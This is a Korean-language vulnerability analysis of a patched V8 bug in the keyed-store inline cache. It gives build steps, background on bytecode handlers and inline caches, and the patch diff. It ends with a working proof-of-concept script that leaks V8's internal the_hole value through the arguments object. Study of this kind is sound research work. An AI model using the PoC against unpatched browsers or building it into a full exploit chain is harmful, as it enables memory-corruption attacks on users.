Environment Setting
Install depot_tools
cd ~
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
export PATH=~/depot_tools:$PATH
Get V8 source code
mkdir v8
cd v8
fetch v8
cd v8
git checkout 4217c51611830d98d7fd7b8c922571942a87ad2e
gclient sync -D
Install build dependencies
./build/install-build-deps.sh
Build V8
gn gen out/debug --args="v8_no_inline=true v8_optimized_debug=false is_component_build=false"
gn gen out/release --args="v8_no_inline=true is_debug=false"
ninja -C out/debug d8; ninja -C out/release d8
Install GDB plugin
echo -e '\nsource ~/v8/v8/tools/gdbinit' >> ~/.gdbinit
Prerequisite Knowledge
JavaScript engine pipeline
JS 엔진(V8 in Chrome)은 JS 코드를 AST(Abstract Syntax Tree)로 만들고, 인터프리터(Ignition in V8)는 AST에 기반하여 bytecode를 생성합니다.
실행 속도를 증가시키기 위해, JIT(Just-In-Time) 컴파일러(Turbofan in V8)는 런타임에 JS 코드의 함수를 최적화합니다. Bytecode가 실행될 때 JS 엔진이 profiling data(feedback)를 수집하여 컴파일러에게 보내면, 컴파일러는 이 정보로부터 함수에 대한 assumption을 얻고 이 assumption을 기반으로 최적화를 진행합니다. 만약 최적화 이후에 assumption에 위배되는 상황이 생기면 deoptimization이 진행되어 다시 원래의 bytecode로 돌아갑니다.
Bytecode handler
JS 코드 실행 시 생성되는 bytecode는 다음과 같이 확인할 수 있습니다.
/* test.js */
function get(obj, prop) {
return obj[prop];
}
let o = { a: 1 };
get(o, 'a');
$ ~/v8/v8/out/debug/d8 test.js --print-bytecode --print-bytecode-filter='get'
[generated bytecode for function: get (0x1dab000dadbd <SharedFunctionInfo get>)]
Bytecode length: 6
Parameter count 3
Register count 0
Frame size 0
Bytecode age: 0
0x1dab000dafd2 @ 0 : 0b 04 Ldar a1
0x1dab000dafd4 @ 2 : 2f 03 00 GetKeyedProperty a0, [0]
0x1dab000dafd7 @ 5 : aa Return
Constant pool (size = 0)
Handler Table (size = 0)
Source Position Table (size = 0)
Object에서 property의 값을 가져오는 작업은 bytecode에서 GetKeyedProperty
에 해당합니다.
V8이 bytecode를 실행하다가 operator 역할을 하는 instruction들(Ldar
, GetKeyedProperty
, Return
등)을 만나면 미리 정의된 handler를 호출합니다. Handler를 가지고 있는 bytecode들은 다음과 같이 정의되어 있습니다.
/* v8/src/interpreter/bytecodes.h */
// The list of bytecodes which have unique handlers (no other bytecode is
// executed using identical code).
// Format is V(<bytecode>, <implicit_register_use>, <operands>).
#define BYTECODE_LIST_WITH_UNIQUE_HANDLERS(V)
...
/* Property loads (LoadIC) operations */ \
...
V(GetKeyedProperty, ImplicitRegisterUse::kReadWriteAccumulator, \
OperandType::kReg, OperandType::kIdx)
...
Bytecode의 handler는 V8 빌드 과정에서 IGNITION_HANDLER
에 의해 정의됩니다.
/* v8/src/interpreter/interpreter-generator.cc */
// GetKeyedProperty <object> <slot>
//
// Calls the KeyedLoadIC at FeedBackVector slot <slot> for <object> and the key
// in the accumulator.
IGNITION_HANDLER(GetKeyedProperty, InterpreterAssembler) {
TNode<Object> object = LoadRegisterAtOperandIndex(0);
TNode<Object> name = GetAccumulator();
TNode<TaggedIndex> slot = BytecodeOperandIdxTaggedIndex(1);
TNode<HeapObject> feedback_vector = LoadFeedbackVector();
TNode<Context> context = GetContext();
TVARIABLE(Object, var_result);
var_result = CallBuiltin(Builtin::kKeyedLoadIC, context, object, name, slot,
feedback_vector);
SetAccumulator(var_result.value());
Dispatch();
}
정의된 handler는 빌드 디렉토리의 gen
에 생성되는 별도의 파일에 저장됩니다.
/* v8/out/debug/gen/builtins-generated/bytecodes-builtins-list.h */
#define BUILTIN_LIST_BYTECODE_HANDLERS(V) \
...
V(GetKeyedPropertyHandler, interpreter::OperandScale::kSingle, interpreter::Bytecode::kGetKeyedProperty) \
/* v8/out/debug/gen/embedded.S */
Builtins_GetKeyedPropertyHandler:
.type Builtins_GetKeyedPropertyHandler, @function
.size Builtins_GetKeyedPropertyHandler, 1404
.octa 0x84ba0d74d93b48fffffff91d8d48,0x48226ae5894855cc0000504095ff4100
.octa 0x894cf0e4834808ec8348e2894948ec83,0x894ce8458948d04d894ce07d894c2414
.octa 0x928b00001a08958b490000002abef065,0x1c88858b49e7894cd6034900005443
.octa 0x4d00000000158d4ccc01740fc4f64000,0x6845c749d0ff686d8949705589
.octa 0xf0e4834808ec8348e2894924248b4800,0x47928b00001a08958b49f6332414894c
.octa 0x1c88858b49e87d8b48d60349000054,0x4d00000000158d4ccc01740fc4f64000
.octa 0x6845c749d0ff686d8949705589,0xbe0f43f05d8b4cd0458b4c24248b4800
.octa 0x2ba0d76c23b49ffffffffba41010344,0x48005d8b48cc0000504095ff41000000
.octa 0x3b4dffffffffba4102035cb60f47c063,0xcc0000504095ff4100000002ba0d76da
.byte 0x48,0x8b,0x53,0xf0,0x48,0x8b,0x4,0xc3
...
Inline cache (IC)
JS에서 모든 것은 object로 처리됩니다. 따라서 object의 property에 접근하는 작업이 매우 빈번하게 수행되고, 이 과정을 최적화하는 것은 실행 속도에 큰 영향을 미치므로 굉장히 중요합니다. Inline cache는 이러한 최적화의 한 종류입니다.
V8이 object의 property에 접근할 때, object의 map으로부터 property의 index를 알아내고 그 index로 접근하는 과정을 거칩니다.
Inline cache의 아이디어는, 함수가 호출되는 시점에 object의 map(shape)과 그로부터 알아낸 property의 index를 기억(cache)했다가, 나중에 같은 map을 가진 object가 들어왔을 때 property에 접근하는 과정을 생략하고 caching된 index를 그대로 사용하는 것입니다.
이 과정을 코드에서 따라가 보겠습니다.
다음과 같이 디버깅 메시지를 추가해 줍니다.
/* v8/src/ic/ic.cc */
RUNTIME_FUNCTION(Runtime_KeyedLoadIC_Miss) {
printf("Runtime_KeyedLoadIC_Miss()\n");
...
vector->Print();
printf("\n");
RETURN_RESULT_OR_FAILURE(isolate, ic.Load(receiver, key));
}
/* v8/src/ic/ic.cc */
MaybeHandle<Object> KeyedLoadIC::Load(Handle<Object> object,
Handle<Object> key) {
printf("KeyedLoadIC::Load()\n");
printf("key: ");
key->Print();
printf("\n");
...
}
Inline cache가 활성화되어 있을 경우, Builtins_GetKeyedPropertyHandler
는 object의 map과 접근하고자 하는 property가 cache에 저장된 것과 같은지 먼저 확인하고, 만약 다르면(miss) Runtime_KeyedLoadIC_Miss()
를 호출합니다. Runtime_KeyedLoadIC_Miss()
는 KeyedLoadIC::Load()
를 호출하여 property의 값을 가져옵니다.
/* test.js */
function get(obj, prop) {
return obj[prop];
}
let o = { a: 1 };
for (let i = 0; i < 9; i++) { get(o, 'a'); } // warmup for IC
// IC state: UNINITIALIZED
get(o, 'a'); // (1) miss (activate inline cache)
% DebugPrint(o);
// IC state: MONOMORPHIC
o.b = 2;
get(o, 'a'); // (2) miss (o has new map)
% DebugPrint(o);
// IC state: POLYMORPHIC
get(o, 'b'); // (3) miss (access to new property)
% DebugPrint(o);
// IC state: MEGAMORPHIC
get(o, 'c'); // (4) miss (access to new property)
위의 코드에서, get()
이 10번째로 호출될 때부터 inline cache가 활성화됩니다. 실행시켜 보면 Runtime_KeyedLoadIC_Miss()
가 네 번 호출됩니다.
~/v8/v8/out/debug/d8 test.js --allow-natives-syntax
(1)
에서는 inline cache가 처음으로 활성화됩니다. FeedbackVector
의 slot
이 비어 있는 상태(UNINITIALIZED
)이고, 따라서 miss가 발생합니다. o.a
에 한 번 접근하고 나면 이 시점에서의 o
의 map과 a
property의 index가 slot
에 저장되고, MONOMORPHIC
(slot
에 한 개의 map만 저장된 상태)이 됩니다.
(2)
에서는 o
에 b
property를 새로 추가하여 새로운 map을 가지게 되고, 따라서 miss가 발생합니다. 마찬가지로 이 시점에서의 o
의 map과 a
property의 index가 slot
에 저장되고, POLYMORPHIC
(slot
에 2개 이상의 map이 저장된 상태)이 됩니다.
(3)
에서는 cache에 a
property의 정보가 저장되어 있는 상태에서 b
라는 새로운 property의 접근하여 miss가 발생합니다. 두 가지 이상의 property에 접근할 경우 slot
의 상태는 MEGAMORPHIC
이 됩니다.
Arguments
JavaScript에서 arguments
는 함수의 매개변수를 저장하고 있는 object입니다.
/* test.js */
function f() {
% DebugPrint(arguments);
}
f();
f(1, 2, 3);
Analysis
Patch diff
패치의 변경 사항을 보면, KeyedStoreIC::StoreElementHandler()
에서 특정한 상황을 처리하는 코드가 추가되었습니다.
diff --git a/src/ic/ic.cc b/src/ic/ic.cc
index 05ee161..3bc8653 100644
--- a/src/ic/ic.cc
+++ b/src/ic/ic.cc
@@ -2303,10 +2303,18 @@
receiver_map->has_sealed_elements() ||
receiver_map->has_nonextensible_elements() ||
receiver_map->has_typed_array_or_rab_gsab_typed_array_elements()) {
+ // TODO(jgruber): Update counter name.
TRACE_HANDLER_STATS(isolate(), KeyedStoreIC_StoreFastElementStub);
- code = StoreHandler::StoreFastElementBuiltin(isolate(), store_mode);
- if (receiver_map->has_typed_array_or_rab_gsab_typed_array_elements()) {
- return code;
+ if (receiver_map->IsJSArgumentsObjectMap() &&
+ receiver_map->has_fast_packed_elements()) {
+ // Allow fast behaviour for in-bounds stores while making it miss and
+ // properly handle the out of bounds store case.
+ code = StoreHandler::StoreFastElementBuiltin(isolate(), STANDARD_STORE);
+ } else {
+ code = StoreHandler::StoreFastElementBuiltin(isolate(), store_mode);
+ if (receiver_map->has_typed_array_or_rab_gsab_typed_array_elements()) {
+ return code;
+ }
}
} else if (IsStoreInArrayLiteralIC()) {
// TODO(jgruber): Update counter name.
@@ -2317,7 +2325,7 @@
TRACE_HANDLER_STATS(isolate(), KeyedStoreIC_StoreElementStub);
DCHECK(DICTIONARY_ELEMENTS == receiver_map->elements_kind() ||
receiver_map->has_frozen_elements());
- code = StoreHandler::StoreSlow(isolate(), store_mode);
+ return StoreHandler::StoreSlow(isolate(), store_mode);
}
if (IsAnyDefineOwn() || IsStoreInArrayLiteralIC()) return code;
패치 후에는 if(receiver_map->IsJSArgumentsObjectMap() && receiver_map->has_fast_packed_elements())
조건문을 만족할 경우 KeyedStoreIC::StoreElementHandler()
의 인자로 전달된 store_mode
를 무시하고 STANDARD_STORE
로 처리합니다. 이 조건을 맞춰 주면 버그가 발생할 것이라고 추측할 수 있습니다.
Reaching to vulnerable code
KeyedStoreIC::StoreElementHandler()
를 호출하는 함수는 KeyedStoreIC::UpdateStoreElement()
와 KeyedStoreIC::StoreElementPolymorphicHandlers()
가 있습니다. 그런데 KeyedStoreIC::StoreElementPolymorphicHandlers()
는 KeyedStoreIC::UpdateStoreElement()
에서만 호출되기 때문에, 결과적으로 KeyedStoreIC::StoreElementHandler()
까지 도달할 수 있는 경로는 다음의 두 가지입니다.
KeyedStoreIC::Store()
→KeyedStoreIC::UpdateStoreElement()
→KeyedStoreIC::StoreElementHandler()
KeyedStoreIC::Store()
→KeyedStoreIC::UpdateStoreElement()
→KeyedStoreIC::StoreElementPolymorphicHandlers()
→KeyedStoreIC::StoreElementHandler()
/* v8/src/ic/ic.cc */
MaybeHandle<Object> KeyedStoreIC::Store(Handle<Object> object,
Handle<Object> key,
Handle<Object> value) {
...
if (key_type == kName) {
ASSIGN_RETURN_ON_EXCEPTION(
isolate(), store_handle,
StoreIC::Store(object, maybe_name, value, StoreOrigin::kMaybeKeyed),
Object);
if (vector_needs_update()) {
if (ConfigureVectorState(MEGAMORPHIC, key)) {
set_slow_stub_reason("unhandled internalized string key");
TraceIC("StoreIC", key);
}
}
return store_handle;
}
...
KeyedStoreIC::Store()
에서 key_type
이 kName
이면 StoreIC::Store()
로 넘어가기 때문에, 추가하고자 하는 property는 indexed property여야 합니다.
/* v8/src/ic/ic.cc */
MaybeHandle<Object> KeyedStoreIC::Store(Handle<Object> object,
Handle<Object> key,
Handle<Object> value) {
...
if (use_ic) {
if (!old_receiver_map.is_null()) {
if (is_arguments) {
set_slow_stub_reason("arguments receiver");
} else if (object->IsJSArray() && IsGrowStoreMode(store_mode) &&
JSArray::HasReadOnlyLength(Handle<JSArray>::cast(object))) {
set_slow_stub_reason("array has read only length");
} else if (object->IsJSObject() && MayHaveTypedArrayInPrototypeChain(
Handle<JSObject>::cast(object))) {
// Make sure we don't handle this in IC if there's any JSTypedArray in
// the {receiver}'s prototype chain, since that prototype is going to
// swallow all stores that are out-of-bounds for said prototype, and we
// just let the runtime deal with the complexity of this.
set_slow_stub_reason("typed array in the prototype chain");
} else if (key_is_valid_index) {
if (old_receiver_map->is_abandoned_prototype_map()) {
set_slow_stub_reason("receiver with prototype map");
} else if (old_receiver_map->has_dictionary_elements() ||
!old_receiver_map->MayHaveReadOnlyElementsInPrototypeChain(
isolate())) {
// We should go generic if receiver isn't a dictionary, but our
// prototype chain does have dictionary elements. This ensures that
// other non-dictionary receivers in the polymorphic case benefit
// from fast path keyed stores.
Handle<HeapObject> receiver = Handle<HeapObject>::cast(object);
UpdateStoreElement(old_receiver_map, store_mode,
handle(receiver->map(), isolate()));
} else {
...
}
UpdateStoreElement()
까지 도달하기 위한 여러 개의 조건들 중 is_arguments
가 false
여야 한다는 것이 있습니다. Property를 추가하고자 하는 object가 arguments
이면 안 된다는 것입니다.
그런데 앞의 patch diff를 보면, KeyedStoreIC::StoreElementHandler()
에서 취약한 코드에 도달하기 위해서는 receiver_map->IsJSArgumentsObjectMap()
이 true
여야 합니다. 두 가지 조건이 상충되기 때문에 첫 번째 경로로는 불가능합니다.
/* v8/src/ic/ic.cc */
void KeyedStoreIC::StoreElementPolymorphicHandlers(
std::vector<MapAndHandler>* receiver_maps_and_handlers,
KeyedAccessStoreMode store_mode) {
std::vector<Handle<Map>> receiver_maps;
for (size_t i = 0; i < receiver_maps_and_handlers->size(); i++) {
receiver_maps.push_back(receiver_maps_and_handlers->at(i).first);
}
for (size_t i = 0; i < receiver_maps_and_handlers->size(); i++) {
...
if (receiver_map->instance_type() < FIRST_JS_RECEIVER_TYPE ||
...
} else {
...
if (!transition.is_null()) {
TRACE_HANDLER_STATS(isolate(),
KeyedStoreIC_ElementsTransitionAndStoreStub);
handler = StoreHandler::StoreElementTransition(
isolate(), receiver_map, transition, store_mode, validity_cell);
} else {
handler = StoreElementHandler(receiver_map, store_mode, validity_cell);
}
}
DCHECK(!handler.is_null());
receiver_maps_and_handlers->at(i) =
MapAndHandler(receiver_map, MaybeObjectHandle(handler));
}
}
두 번째 경로에서 거쳐 가는 KeyedStoreIC::StoreElementPolymorphicHandlers()
는 FeedbackVector
slot의 state가 POLYMORPHIC
일 때 호출되고, 저장된 map들에 대해 각각 StoreElementHandler()
를 호출합니다. 따라서 먼저 arguments
를 slot에 넣어 두고 그 다음에 임의의 object에 indexed property를 저장하려고 하면 취약한 코드에 도달할 수 있습니다.
/* v8/src/ic/ic.cc */
Handle<Object> KeyedStoreIC::StoreElementHandler(
Handle<Map> receiver_map, KeyedAccessStoreMode store_mode,
MaybeHandle<Object> prev_validity_cell) {
printf("KeyedStoreIC::StoreElementHandler()\n");
printf("receiver_map: ");
receiver_map->Print();
printf("store_mode: %d\n", store_mode);
...
// TODO(ishell): move to StoreHandler::StoreElement().
Handle<Object> code;
printf("receiver_map->has_sloppy_arguments_elements() == %d\n", receiver_map->has_sloppy_arguments_elements());
printf("receiver_map->IsJSArgumentsObjectMap() == %d\n", receiver_map->IsJSArgumentsObjectMap());
printf("receiver_map->has_fast_packed_elements() == %d\n", receiver_map->has_fast_packed_elements());
printf("\n");
if (receiver_map->has_sloppy_arguments_elements()) {
...
/* test.js */
function store(obj, prop, val) {
obj[prop] = val;
}
function f() {
let o = {};
for (let i = 0; i < 9; i++) { store(o, 'a', 1); } // warmup for IC
store(arguments, 'a', 1);
store(o, 0, 1); // call KeyedStoreIC::StoreElementPolymorphicHandlers()
}
f();
~/v8/v8/out/debug/d8 test.js
Bug
KeyedStoreIC::StoreElementHandler()
에서 store_mode
가 STORE_AND_GROW_HANDLE_COW
일 경우 문제가 발생합니다.
/* v8/src/ic/ic.cc */
Handle<Object> KeyedStoreIC::StoreElementHandler(
Handle<Map> receiver_map, KeyedAccessStoreMode store_mode,
MaybeHandle<Object> prev_validity_cell) {
...
if (receiver_map->has_sloppy_arguments_elements()) {
...
} else if (receiver_map->has_fast_elements() ||
receiver_map->has_sealed_elements() ||
receiver_map->has_nonextensible_elements() ||
receiver_map->has_typed_array_or_rab_gsab_typed_array_elements()) {
TRACE_HANDLER_STATS(isolate(), KeyedStoreIC_StoreFastElementStub);
code = StoreHandler::StoreFastElementBuiltin(isolate(), store_mode);
...
KeyedStoreIC::StoreElementHandler()
에서는 StoreHandler::StoreFastElementBuiltin()
을 호출하여 StoreHandler
를 설정합니다.
/* v8/src/ic/handler-configuration-inl.h */
Handle<Code> StoreHandler::StoreFastElementBuiltin(Isolate* isolate,
KeyedAccessStoreMode mode) {
switch (mode) {
case STANDARD_STORE:
return BUILTIN_CODE(isolate, StoreFastElementIC_Standard);
case STORE_AND_GROW_HANDLE_COW:
return BUILTIN_CODE(isolate,
StoreFastElementIC_GrowNoTransitionHandleCOW);
case STORE_IGNORE_OUT_OF_BOUNDS:
return BUILTIN_CODE(isolate, StoreFastElementIC_NoTransitionIgnoreOOB);
case STORE_HANDLE_COW:
return BUILTIN_CODE(isolate, StoreFastElementIC_NoTransitionHandleCOW);
default:
UNREACHABLE();
}
}
store_mode
가 STORE_AND_GROW_HANDLE_COW
일 경우 StoreFastElementIC_GrowNoTransitionHandleCOW
가 StoreHandler
로 설정되는데, 이러한 receiver는 element가 추가되어 elements
array가 확장(Grow
)되어도 map이 변하지 않는다(NoTransition
)는 의미입니다.
이것이 문제가 되는 이유는,
/* test.js */
function f() {
let o = {};
% DebugPrint(o);
o[0] = 1;
% DebugPrint(o);
}
f();
~/v8/v8/out/debug/d8 test.js --allow-natives-syntax
일반적인 object의 경우 element가 없을 때 ElementsKind
가 HOLEY_ELEMENTS
이고, element를 추가해서 elements
array가 확장되어도 그대로 HOLEY_ELEMENTS
이면 문제가 없기 때문에 map이 바뀌지 않습니다.
/* test.js */
function f() {
let o = arguments;
% DebugPrint(o);
o[0] = 1;
% DebugPrint(o);
}
f();
~/v8/v8/out/debug/d8 test.js --allow-natives-syntax
반면, arguments
는 element가 없을 때 ElementsKind
가 PACKED_ELEMENTS
이므로, element를 추가하여 elements
array가 확장되면 HOLEY_ELEMENTS
로 바뀌어야 합니다. 즉, map이 바뀌는 것이 정상적인 동작입니다.
/* v8/src/ic/ic.cc */
Handle<Object> KeyedLoadIC::LoadElementHandler(Handle<Map> receiver_map,
KeyedAccessLoadMode load_mode) {
...
bool convert_hole_to_undefined =
(elements_kind == HOLEY_SMI_ELEMENTS ||
elements_kind == HOLEY_ELEMENTS) &&
AllowConvertHoleElementToUndefined(isolate(), receiver_map);
...
return LoadHandler::LoadElement(isolate(), elements_kind,
convert_hole_to_undefined, is_js_array,
load_mode);
}
Object의 ElementsKind
가 HOLEY_ELEMENTS
인 경우, element의 값이 the_hole
이면 undefined
로 변환해서 가져오도록 하는 convert_hole_to_undefined
flag가 true
로 설정됩니다.
만약 arguments
의 map이 바뀌지 않으면 ElementsKind
가 그대로 PACKED_ELEMENTS
로 남게 되고, elements
array의 빈 공간을 채우고 있는 the_hole
들에 접근했을 때 undefined
로 변환하지 않고 그대로 가져오게 되어, the_hole
을 leak할 수 있는 취약점이 발생합니다.
PoC
/* v8/src/ic/ic.cc */
KeyedAccessStoreMode GetStoreMode(Handle<JSObject> receiver, size_t index) {
bool oob_access = IsOutOfBoundsAccess(receiver, index);
// Don't consider this a growing store if the store would send the receiver to
// dictionary mode.
bool allow_growth =
receiver->IsJSArray() && oob_access && index <= JSArray::kMaxArrayIndex &&
!receiver->WouldConvertToSlowElements(static_cast<uint32_t>(index));
if (allow_growth) {
return STORE_AND_GROW_HANDLE_COW;
}
if (receiver->map().has_typed_array_or_rab_gsab_typed_array_elements() &&
oob_access) {
return STORE_IGNORE_OUT_OF_BOUNDS;
}
return receiver->elements().IsCowArray() ? STORE_HANDLE_COW : STANDARD_STORE;
}
store_mode
가 STORE_AND_GROW_HANDLE_COW
로 설정되려면 receiver
가 array여야 하고 접근하고자 하는 index가 현재 array의 size보다 커야 합니다.
/* poc.js */
function store(obj, prop, val) {
obj[prop] = val;
}
function leak_hole() {
let arr = [];
for (let i = 0; i < 9; i++) { store(arguments, 'a', 1); } // warmup for IC
store(arguments, 'a', 1);
store(arr, 0, 1); // store_mode == STORE_AND_GROW_HANDLE_COW
store(arguments, 0, 0); // ElementsKind of arguments is still PACKED_ELEMENTS
% DebugPrint(arguments);
}
leak_hole();
~/v8/v8/out/debug/d8 poc.js --allow-natives-syntax
arguments[0]
을 추가하면서 arguments
의 elements
array가 확장되어 빈 공간들에 the_hole
이 들어갔는데 ElementsKind
는 PACKED_ELEMENTS
인 것을 확인할 수 있습니다. 이 상태에서 arguments[1]
부터 arguments[16]
까지에 접근하면 the_hole
을 얻을 수 있습니다.
/* poc.js */
function store(obj, prop, val) {
obj[prop] = val;
}
function leak_hole() {
let arr = [];
for (let i = 0; i < 9; i++) { store(arguments, 'a', 1); } // warmup for IC
store(arguments, 'a', 1);
store(arr, 0, 1); // store_mode == STORE_AND_GROW_HANDLE_COW
store(arguments, 0, 0); // ElementsKind of arguments is still PACKED_ELEMENTS
return arguments[16];
}
let hole = leak_hole();
% DebugPrint(hole);
$ ~/v8/v8/out/debug/d8 poc.js --allow-natives-syntax
DebugPrint: 0x13fd0000026d: [Hole] in ReadOnlySpace
0x13fd000001a1: [Map] in ReadOnlySpace
- type: HOLE_TYPE
- instance size: 16
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- non-extensible
- back pointer: 0x13fd00000251 <undefined>
- prototype_validity cell: 0
- instance descriptors (own) #0: 0x13fd00000289 <DescriptorArray[0]>
- prototype: 0x13fd00000235 <null>
- constructor: 0x13fd00000235 <null>
- dependent code: 0x13fd00000229 <Other heap object (WEAK_ARRAY_LIST_TYPE)>
- construction counter: 0